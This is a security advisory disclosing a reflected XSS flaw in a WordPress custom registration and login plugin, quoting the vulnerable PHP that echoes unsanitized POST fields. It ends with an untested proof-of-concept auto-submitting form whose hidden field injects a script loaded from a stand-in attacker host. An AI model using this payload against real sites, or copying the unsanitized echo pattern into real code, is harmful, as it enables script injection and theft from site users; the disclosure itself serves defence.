Advisory #: 1033
Title: Reflected XSS in wordpress plugin custom-registration-and-login-forms-with-new-recaptcha v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/custom-registration-and-login-forms-with-new-recaptcha
Downloads: 561
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: custom-registration-and-login-forms-with-new-recaptcha
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./custom-registration-and-login-forms-with-new-recaptcha/custom-registration-and-login-forms-with-new-recaptcha.php: 340: <input name="custom_user_login" id="custom_user_login" class="required" type="text" value="<?php echo $_POST['custom_user_login']; ?>"/> 344: <input name="custom_user_email" id="custom_user_email" class="required" type="email" value="<?php echo $_POST['custom_user_email']; ?>"/> 348: <input name="custom_user_first" id="custom_user_first" type="text" value="<?php echo $_POST['custom_user_first']; ?>"/> 352: <input name="custom_user_last" id="custom_user_last" type="text" value="<?php echo $_POST['custom_user_last']; ?>"/> The variable custom_user_login appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./custom-registration-and-login-forms-with-new-recaptcha/custom-registration-and-login-forms-with-new-recaptcha.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/custom-registration-and-login-forms-with-new-recaptcha/custom-registration-and-login-forms-with-new-recaptcha.php method=post> <input type=hidden name=custom_user_login value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>